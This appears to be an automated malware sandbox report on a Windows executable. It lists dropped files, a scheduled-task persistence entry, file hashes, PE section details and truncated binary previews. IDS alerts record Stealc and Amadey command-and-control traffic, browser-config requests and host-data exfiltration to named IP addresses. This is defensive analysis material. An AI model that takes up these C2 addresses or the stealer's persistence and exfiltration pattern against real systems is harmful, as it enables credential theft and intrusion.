Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsEGIDAAFIEH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.95271520225109
Encrypted:	false
SSDEEP:	49152:A9c1CNgLCsZPUC96POCEUr+NAoS0wxY5+4W/:AfqLCIP0OpUmLS0wxY5TM
MD5:	F2D011251D3B81EE30BD85F4F705152B
SHA1:	B18485051538CAF49D226B94F882B68BCFCB7990
SHA-256:	E121118EB9676FFD4BEBCE8890B74D47DBD7051FCE8A9BC5DEA45552DCCDCF56
SHA-512:	333C96ED465EB6AB016BB9C93F08412AD03D0250E5A6DA5D28886501EB8789045F5BD2B90646CE56DDFFB9FB880469F87B634776F23BF33316E690328A065804
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....F@....@.................................W...k.......H.....................K.............................p.K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...rvvxjflc.0....1..&..................@...jcggrwcz......K.....................@....taggant.0....L.."..."..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsEGIDAAFIEH.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.432104036833872
Encrypted:	false
SSDEEP:	6:VMslOntXUhXUEZ+lX1CGdKUe6tE9+AQy0lBuut0:VMslOZ4Q1CGAFD9+nVBuut0
MD5:	EA91CC1953C08B42AD5FA940E6995A30
SHA1:	9181D94A4028CD63384610FA5071C6A714077091
SHA-256:	12E45667D0F3AD2FADA00AD5FC6A058D18EA475A3C4DB68F5AA9FDF9C2DDF12D
SHA-512:	538CB26057F0CD1A6EF62730B5928065B50E57BFB625EA5D390B3F33096471B717D8D5167BC2E37440491D9FC570E89BE65642B0D03F3754A34C50B7DD14FAA9
Malicious:	false
Preview:	.....P.v; .J.BNT.$..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3500)
Category:	downloaded
Size (bytes):	3505
Entropy (8bit):	5.832616934185762
Encrypted:	false
SSDEEP:	96:zCw8lieFd66666xvGwOznH71RZTyFvh8UibA4gLXQ9zztQffffo:2wKbFd66666xvGwOnhmYUOA48Q9Xh
MD5:	8C63893923D580CDCCCAAD0D9EC54C71
SHA1:	54F4D2E7FA624300003CF0B4A0C7A8778463FE74
SHA-256:	1F6964216FACE4B2CD8581D5A89E0818F7DD323C9756ABCB4E1949410782EB23
SHA-512:	771FA40FAF9FCDB25348987F5EDFD80265F65D6902DA302ECD5FAB2B39ED5E3791691586D70DB379A98DF61DAADB38378D48A3A83D23835CD59174F93AD967A7
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["canada dry ginger ale lawsuit","gladiator ii","weather forecast snow storm","boston celtics washington wizards","real debrid alternatives","early access poe2","spotify wrapped when","new pepsi holiday flavor"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXJ0Y3BoczRjEgkyMDI0IGZpbG0y/w5kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFhQUFBREFRRUJBUUFBQUFBQUFBQUFBQUFFQlFZQ0F3Y0IvOFFBTXhBQUFnRUNCQU1GQmdZREFBQUFBQUFBQVFJREJCRUFCUkloTVVGUkJoTmhrYUVVSW5HQnNmQXlRc0hSNGZFak0xTC94QUFhQVFBREFRRUJBUUFBQUFBQUFBQUFBQUFEQkFVQ0JnRUEvOFFBSHhF

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435327151284471
Encrypted:	false
SSDEEP:	3072:fdkXyPqO7UX1Hme9kZbs4Voc5aSnXqwQ2i6o:fmyWFHrp4Voc5aSnawQ8o
MD5:	F8AB5B08A7A497FB34671974F1FB2974
SHA1:	C6E46F9233C7D3795EC6C74456FF0028A8D5E017
SHA-256:	907F8592E72E41F3A560A335E6381D6CA687E22240079779811B8146441B9CBF
SHA-512:	41228640D7C73D5F22B275DAB261EC7FB8A6002CC5FBCE328F17082D3C7CB122A72FB745C143991ABE5792EA1A03E75C59031C3AA6985577129A91B3B9F3AFFE
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946242327394284
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'827'328 bytes
MD5:	9669088834eac5ce82390081d8ba345e
SHA1:	440930fb6eb8145f1faf1333b735541c93ba8486
SHA256:	099be17313be4a4d993d9491bd4c3153fec62299c8de01b32600e16a1b63cb25
SHA512:	79340656a33fa58f7e4fc59ddaf8db335895e1ed3a8accb451ee2a0b874d7758dd244db5c46ecf51edecbc45b2ca73f77b2535c5592464ba6e68ac0fa578898b
SSDEEP:	24576:M8ZtqtQUeQK5wHm3CZ7IFcLPDornR9QAOnKtmp522vqRqHvIe:9N5py5ImLP0ntOKYD2ijg
TLSH:	F18533BE5D92E02DCB4DCA7330CFCA96BF7139019C9285BA29775C2D425BBD1946CC82
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F78C47F3D4Ah
xadd byte ptr [ebx], bl
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0a5aafc8836aac84e17112d0f66795b3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	80ede6a2aae1e8301c5a6b1b7500f021	False	0.796875	data	5.947440682943978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	28f8d9fb7d56028d891f092f6caabc40	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zoewblch	0x4f9000	0x1a5000	0x1a4400	3a3988e17a4ad16674b615b8ceca3bd6	False	0.9946460440214159	data	7.95450760331598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
moyfpeht	0x69e000	0x1000	0x400	681021e52cf0b0aef15e1e2a6d471885	False	0.779296875	data	6.103386463552979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69f000	0x3000	0x2200	684c969adcbcc3d60c56b1eb01d3dc15	False	0.09489889705882353	DOS executable (COM)	1.1513729657243095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69d0dc	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T09:16:24.805426+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:25.337623+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:25.460241+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T09:16:25.797009+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:25.929304+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T09:16:27.275301+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:28.405775+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:51.663874+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:53.798053+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:55.148720+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:56.295420+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:59.995995+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:17:01.090165+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:17:06.996482+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49942	185.215.113.16	80	TCP
2024-11-23T09:18:06.296767+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50095	185.215.113.43	80	TCP
2024-11-23T09:18:10.786906+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50107	31.41.244.11	80	TCP
2024-11-23T09:18:20.548428+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50101	TCP
2024-11-23T09:18:21.984748+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50133	185.215.113.43	80	TCP
2024-11-23T09:18:23.497294+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50138	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 09:16:14.628050089 CET	49711	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:14.777760029 CET	443	49711	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:14.778760910 CET	49711	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:14.898377895 CET	443	49711	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:15.245882988 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:15.245940924 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:15.246022940 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:15.246712923 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:15.246733904 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:15.299983978 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:15.318871975 CET	443	49711	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:15.362426996 CET	49711	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:15.378139973 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:15.690633059 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:17.520617962 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:17.520797968 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:17.526304960 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:17.526335955 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:17.526812077 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:17.528625011 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:17.528687000 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:17.528701067 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:17.528846025 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:17.571346045 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:18.079508066 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:18.079626083 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:18.079907894 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:18.080086946 CET	49712	443	192.168.2.6	20.198.119.143
Nov 23, 2024 09:16:18.080107927 CET	443	49712	20.198.119.143	192.168.2.6
Nov 23, 2024 09:16:19.972626925 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:19.972676992 CET	443	49713	13.107.246.63	192.168.2.6
